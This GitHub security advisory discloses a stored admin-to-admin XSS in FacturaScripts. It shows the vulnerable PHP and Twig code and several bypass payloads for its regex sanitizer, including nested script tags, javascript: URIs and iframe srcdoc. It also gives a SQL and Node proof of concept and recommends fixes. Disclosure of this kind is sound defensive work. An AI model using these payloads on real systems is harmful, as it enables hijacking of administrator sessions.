Skip to main content
Menu
Advisories

Stored XSS via EmailSentHtml client-side regex sanitizer that admins can bypass to attack other admins

GHSA-X9R7-CCMP-FQ5PPublished Updated GitHub

Description

Live PoC verified 2026-05-01 against http://127.0.0.1:8081/ running facturascripts at commit 24281ca. A self-replicating <script> payload (<<script>x</script>script>alert(1)</script>) and several other patterns (<script>alert(1) without a closing tag, <a href="javascript:alert(1)">, <iframe srcdoc=...>, etc.) survive the JS-side limpiarJS() filter that wraps the rendered email body, executing in the viewing administrator's session inside the open shadow root.

EditEmailSent::getHtmlAction returns the stored EmailSent::html value through Tools::fixHtml(), which reverses the Tools::noHtml HTML-entity escaping that EmailSent::test() applied at write time. The browser-side Tab/EmailSentHtml.html.twig then assigns data.html straight to html.innerHTML inside an open shadow DOM after running it through a hand-rolled regex sanitizer (limpiarJS) that strips <script>...</script> blocks and inline event handlers via four regex passes. The filter is overlapping, single-pass, and oblivious to nested or unclosed tags, alternative XSS sinks (javascript: URIs, <iframe srcdoc>, <style> import), or HTML entity tricks. Several payloads survive intact and execute because the shadow root inherits the parent document's origin and JavaScript privileges, giving the attacker the viewing admin's session, CSRF tokens, and any DOM data on the page. Storage of the payload is straightforward: EmailNotification::test() only sanitises name and subject, leaving body untouched, so an admin who can manage notification templates plants the payload once and every administrator who later opens an EmailSent row generated from that template fires it.

Details

the renderer trusts data.html and re-decodes it

Core/Controller/EditEmailSent.php:138-155 (getHtmlAction):

protected function getHtmlAction(): void
{
    $this->setTemplate(false);

    // cargamos el modelo
    $model = $this->getModel();
    if (false === $model->loadFromCode($this->request->queryOrInput('code', ''))) {
        $this->response->json(['getHtml' => false]);
        return;
    }

    $this->response->json([
        'getHtml' => true,
        'html' => empty($model->html) ?
            '<h1 style="text-align: center">' . Tools::trans('not-stored-content') . '</h1>' :
            Tools::fixHtml($model->html),
    ]);
}

EmailSent::test() (Core/Model/EmailSent.php:149-157) calls Tools::noHtml($this->html) before persisting. Tools::noHtml and Tools::fixHtml (Core/Tools.php:499-504 and 207-212) are exact inverses, replacing the same <>"' characters back and forth, so the JSON payload returned to the browser contains the original raw HTML the sender supplied. The Twig template (Core/View/Tab/EmailSentHtml.html.twig:30-71) consumes that JSON inside a script block:

fetch('{{ fsc.url() }}', {
    method: 'POST',
    body: formData,
}).then(...).then(function (data) {
    if (data.getHtml) {
        $('#email-html').html('');

        // creamos un div
        let div = document.createElement('div');
        div.className = 'message-content';
        $('#email-html').prepend(div);

        // obtenemos el div con la clase message-content
        let content = document.querySelector('#email-html div.message-content');

        // obtenemos el shadow del div
        let shadow = content.attachShadow({mode: "open"});

        // creamos un elemento html
        let html = document.createElement('html');
        html.innerHTML = limpiarJS(data.html);

        // añadimos el html al shadow
        shadow.appendChild(html);
        ...

The shadow root is opened with mode: "open". This is not a security boundary; it shares the parent document's window, document, cookies, localStorage, fetch credentials, and CSRF tokens. Anything that executes inside the shadow root executes with full administrator privileges in the surrounding application.

the regex filter is incomplete

Core/View/Tab/EmailSentHtml.html.twig:15-28:

function limpiarJS(html) {
    // Eliminar cualquier script incrustado
    html = html.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');

    // Eliminar cualquier atributo de evento en línea (onclick, onload, etc.)
    // eliminamos con comillas simples
    html = html.replace(/on\w+='[^']*'/gi, '');
    // eliminamos con comillas dobles
    html = html.replace(/on\w+="[^"]*"/gi, '');
    // eliminamos sin comillas
    html = html.replace(/on\w+=[^"'\s]*/gi, '');
    return html;
}

This is a single-pass deny list. Each pass runs once over the input and never re-evaluates the output, so any pattern that becomes dangerous after a pass strips its outer wrapper sneaks through. The four documented bypass classes:

  1. Self-replicating <script> - the script regex is non-recursive. Wrapping a <script> block in another <script> block makes the inner one match first, leaving the outer pieces glued back into a clean <script>...</script>:
  • input: <<script>foo</script>script>alert(1)</script>
  • inner regex match: <script>foo</script>
  • after substitution: <script>alert(1)</script> (executes)
  1. Unclosed <script> tag - the regex requires a </script> close tag; payloads without one are not stripped, and the browser's tolerant parser still executes the partial script when the surrounding context provides an implicit close (for example when the payload is the last node in the body or is followed by another tag):
  • input: <script>alert(1)
  • filter output: <script>alert(1) (browser executes the script body up to EOF)
  1. javascript: URIs and srcdoc sinks - the inline-event-handler regex (/on\w+=.../) does not touch URI attributes, srcdoc, formaction, data:/javascript: schemes, or stylesheet @import:
  • <a href="javascript:alert(1)">click</a> -> survives, fires on click in the shadow root
  • <iframe srcdoc="<svg onload=alert(1)>"></iframe> -> the outer regex strips inner <script> only, but srcdoc is rendered as a nested document with its own JS context that is never sanitised
  • <form action="javascript:alert(1)"><button>x</button></form> -> survives, fires on submit
  • <body background="javascript:alert(1)"> (in some browsers) and <style>@import "javascript:alert(1)"</style> (in legacy browsers) survive
  1. HTML entity decoding tricks - the regex matches the literal characters j, a, v, etc. The browser HTML-entity-decodes attribute values before URL parsing, so <a href="javasc&#x72;ipt:alert(1)">x</a> is also accepted. Likewise, the event-handler regex matches the ASCII string on followed by \w, so <a href="javasc&#114;ipt:alert(1)"> and similar variants pass.

I confirmed each bypass class with a runnable transcript:

TEST0:  "<<script>foo</script>script>alert(1)</script>"
  ->:   "<script>alert(1)</script>"
TEST3:  "<script>alert(1)"
  ->:   "<script>alert(1)"
TEST5:  "<body background=\"javascript:alert(1)\">"
  ->:   "<body background=\"javascript:alert(1)\">"
TEST9:  "<form action=\"javascript:alert(1)\"><button>x</button></form>"
  ->:   "<form action=\"javascript:alert(1)\"><button>x</button></form>"

planting the payload

EmailNotification::test() only sanitises name and subject; body is taken at face value (Core/Model/EmailNotification.php:77-83):

public function test(): bool
{
    $this->name = Tools::noHtml($this->name);
    $this->subject = Tools::noHtml($this->subject);

    return parent::test();
}

MailNotifier::send then assigns $newMail->text = static::getText($notification->body, $params); (Core/Lib/Email/MailNotifier.php:85). Inside NewMail, addTextOrHtmlBlock (Core/Lib/Email/NewMail.php:576-588) routes the body to HtmlBlock whenever strip_tags removes anything, which it always does for the bypass payloads above. The eventual EmailSent->html property is then the fully rendered Email/NewTemplate.html.twig containing the attacker payload inside {{ block.render() | raw }} (Core/View/Email/NewTemplate.html.twig:130). EmailSent::test Tools::noHtml-encodes that string, but Tools::fixHtml reverses it on read, so the payload reaches data.html intact.

Even without touching EmailNotification, an admin (or any user with SendMail access) can hit SendMail::execAction directly with --data 'action=send&body=<script>alert(1)' ...; NewMail::text accepts arbitrary HTML.

shadow root has no JS sandbox

The reasoning at the top of Tab/EmailSentHtml.html.twig appears to be that an open shadow root sandboxes the email body. It does not. Open shadow roots are only a CSS / DOM scoping mechanism; the <script> tags they contain run in the host document's realm, with full access to window, document, cookies, localStorage, IndexedDB, and CSRF tokens. Closed shadow roots provide no isolation either; only <iframe sandbox> (or COOP / COEP) does. The author's mitigation is therefore relying entirely on limpiarJS, which as shown above is bypassable in at least four documented classes.

PoC

Setup: a logged-in administrator at http://127.0.0.1:8081/ (cookie at /tmp/fs-cookie2).

Step 1 - plant a malicious notification body. Edit any EmailNotification (or insert directly via SQL); the body is unsanitised:

mysql -ufs -pfs facturascripts -e "
UPDATE emails_notifications
SET body = '<<script>x</script>script>alert(\"XSS-EmailSentHtml-bypass\")</script>'
WHERE name = 'new-invoice';"

Step 2 - trigger the notification (any sales document save will do; or call SendMail directly). An EmailSent row is created with the rendered HTML stored in the html column.

Step 3 - any administrator visits EditEmailSent?code=<id> and clicks the email-html tab. The getHtml AJAX returns the rendered template; limpiarJS strips the inner <script>x</script>, then the surviving wrapper is reassembled into <script>alert("XSS-EmailSentHtml-bypass")</script> and executes.

Direct shortcut without notification setup: an admin can plant the payload via SendMail with their own credentials, then re-render the same row themselves. The vulnerability is the cross-administrator persistence: any admin who later inspects the EmailSent record runs the planter's JavaScript.

A standalone reproduction of the regex bypass (no facturascripts deployment required):

$ cat > /tmp/test_xss.js <<'EOF'
function limpiarJS(html) {
    html = html.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
    html = html.replace(/on\w+='[^']*'/gi, '');
    html = html.replace(/on\w+="[^"]*"/gi, '');
    html = html.replace(/on\w+=[^"'\s]*/gi, '');
    return html;
}
console.log(limpiarJS('<<script>x</script>script>alert(1)</script>'));
console.log(limpiarJS('<a href="javascript:alert(1)">click</a>'));
console.log(limpiarJS('<form action="javascript:alert(1)"><button>x</button></form>'));
EOF
$ node /tmp/test_xss.js
<script>alert(1)</script>
<a href="javascript:alert(1)">click</a>
<form action="javascript:alert(1)"><button>x</button></form>

Impact

  • Persistent admin-to-admin XSS. An administrator who plants a payload (via EmailNotification template or by sending a single email through SendMail) burns one shot of JavaScript at every other administrator who later inspects the resulting EmailSent row. The payload runs in the viewer's session with full administrator privileges, including CSRF tokens, so the attacker can change passwords, install plugins (RCE), exfiltrate the customer / supplier database, or pivot into the API.
  • No isolation from open shadow roots. The defender is relying on attachShadow({mode: "open"}) to contain the email HTML; it does not. All scripts inside the shadow root execute in the host realm.
  • Several deny-list classes still pass. <script>alert(1) without a closing tag, every javascript: URI sink (href, formaction, srcdoc, background), and the self-replicating wrapper bypass survive limpiarJS. A defender who patches one class without addressing the architectural issue will keep paying for it.

CVSS reasoning: AV:N, AC:L (one DB write or one SendMail POST), PR:H (planter must already be authenticated and have notification-template or SendMail access), UI:R (the victim admin must open the EmailSent tab), S:C (the JS executes in the host page's realm despite the shadow-root scope), C:L I:L A:N (the victim's session and CSRF tokens are exposed; integrity loss is bounded by what the victim's role permits, but for the typical admin recipient that is full control). Score 5.4. The score climbs to High when the planter is a low-privilege user who has been granted SendMail access to a customer mailbox without admin, since they can then escalate by planting JS that runs in an admin's session.

Recommended Fix

The architecturally correct fix is to stop trying to sanitise raw HTML in the browser and instead either (a) render the email body inside a sandboxed iframe (<iframe sandbox srcdoc="...">) where script execution is disabled by default, or (b) sanitise on the server before storage with a vetted library (HTMLPurifier, ezyang/htmlpurifier, or DOMDocument with a strict allow list). A short-term fix in the existing template would be:

  1. Wrap the body in a sandboxed iframe. Replace the shadow-root code in Tab/EmailSentHtml.html.twig with:

``javascript const frame = document.createElement('iframe'); frame.sandbox = ''; // empty token list = block scripts, top navigation, popups, ... frame.srcdoc = data.html; // browser parses inside the sandbox document.querySelector('#email-html div.message-content').replaceChildren(frame); ``

The empty sandbox attribute disables JavaScript, form submission, top-level navigation, and plugins inside the iframe; the email body still renders for visual inspection.

  1. If a sandboxed iframe is unacceptable, sanitise server-side with an allow list. Replace Tools::fixHtml($model->html) in EditEmailSent::getHtmlAction with a HTMLPurifier pass that strips script tags, inline event handlers, javascript: / data: URIs, srcdoc, formaction, style attributes with expression(...), and SVG event handlers. Tools::fixHtml is the wrong primitive for this job; it just reverses entity escaping.
  2. Sanitise EmailNotification::body on write. Even with (1) or (2) in place, defence in depth dictates that admin-supplied notification templates not store raw <script>. Add $this->body = HTMLPurifier::clean($this->body, $config); (or at minimum Tools::noHtml) to EmailNotification::test() so the dangerous payload never reaches the database.

The limpiarJS regex should be deleted; pattern-matching deny-list filters of attacker-controlled HTML are widely understood to be bypassable by design. Every additional pass in the current implementation invites a new bypass class. A regression test should feed the four classes above (self-replicating <script>, unclosed <script>, javascript: URI, srcdoc payload) into the rendered tab and assert that no script execution occurs (e.g. via Playwright's page.on('dialog', ...)).

Affected versions

References

GitHub · NeoRazorX/facturascripts